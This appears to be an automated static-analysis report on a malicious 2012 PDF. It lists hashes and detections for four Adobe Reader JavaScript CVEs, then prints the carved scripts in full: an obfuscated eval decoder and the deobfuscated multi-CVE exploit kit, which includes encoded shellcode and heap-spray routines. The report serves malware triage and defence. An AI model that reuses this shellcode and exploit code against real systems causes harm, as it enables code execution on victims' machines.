Malicious PDF — malware analysis report

Static analysis result for SHA-256 1d8f2c4947f462ec…

MALICIOUS

PDF

44.7 KB First seen: 2012-09-20
MD5: 7539269256547f250f33c31fa2ddf711 SHA-1: bdc42beb549b35276b6e99118bbc60671e917c44 SHA-256: 1d8f2c4947f462ece02441f552b6482a7b9f294f33f07df3bf4219ae5363ac30
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFBC 548 bytes
SHA-256: 066d03683ec53e955e172c2870477ac83a444d5379cecd81f967a3ddca759c8b
Preview script
First 1,000 lines of the extracted script
aft='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[v+'r'](0,1))];
e('swnro=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'ti'+'t'+t);
s=swnro[v+a[6]](10,4) + 'tr';
lks=e('String.fro'+swnro[s](1,9));
q=swnro[swnro[v+'r'](10,4) + 'tr'](14);
jswd = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=jswd.length');
for (i = 0; i < k; i+=2) {
	jwwr = jswd[i+1] + ('erybjkerl',jswd[i]);
	aft += lks(jwwr);
}
e(aft);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: 0433da02ed8a2bd2aad589b64d9c0cc12b4fe6d1b02fec88a8db310f9b4066a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3ab9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6034%ue2aa%uc3fa%ue5e8%uffff%u89ff%u616c%u6060%ue13e%u3c8c%u6061%ue960%ued87%u702f%u0fed%u5134%u37bb%u3331%u3333%u3333%u3333%u3335%u0833%u6164%u6060%u3635%u0833%u0e0f%u6060%u1508%u0c12%u340d%uee08%u6e2e%u888c%u6028%u6060%u8830%u601c%u6060%ub09f%ua4e3%u0868%u8f2f%u652f%u8830%u600c%u6060%ub09f%ua0e5%u7715%u340a%u9339%u08ca%u9e12%u76d3%u7d88%u6060%u3060%u3188%u6060%u9f60%u33b0%u9e0a%ue908%u610f%u88dd%u6068%u6060%u8830%u605c%u6060%ub09f%u5100%u04a0%u30eb%ueb50%u6c32%u32eb%ueb74%u4812%u78d9%u6060%u5160%u519f%ucca0%u015c%u621c%u404c%uafa1%u616d%u82a7%ue190%u3b9f%u2adc%ueb0a%u7022%u72eb%ub915%u24e9%u7c44%ua301%ueb00%u440c%ueb44%u5c25%u34eb%u1865%u8a61%u2aeb%ueb78%u403a%u8b61%u5483%ueb29%ueb54%u8e61%u9f51%ua051%ucc9c%ua0e4%u6714%uafa1%u616d%u8ba7%u5b94%u441c%u1548%ueb81%u443a%u8b61%ueb06%u2b6c%u3aeb%u617c%ueb8b%ueb64%u8861%u24e9%u7c44%ua201%u6068%u8f88%u9f9e%u089f%u1414%u5a10%u4f4f%u0f02%u0b0f%u0f08%u0f0c%u094e%u060e%u4f0f%u4e04%u0810%u5f10%u5d06%u5754%u0546%u555d%u0060';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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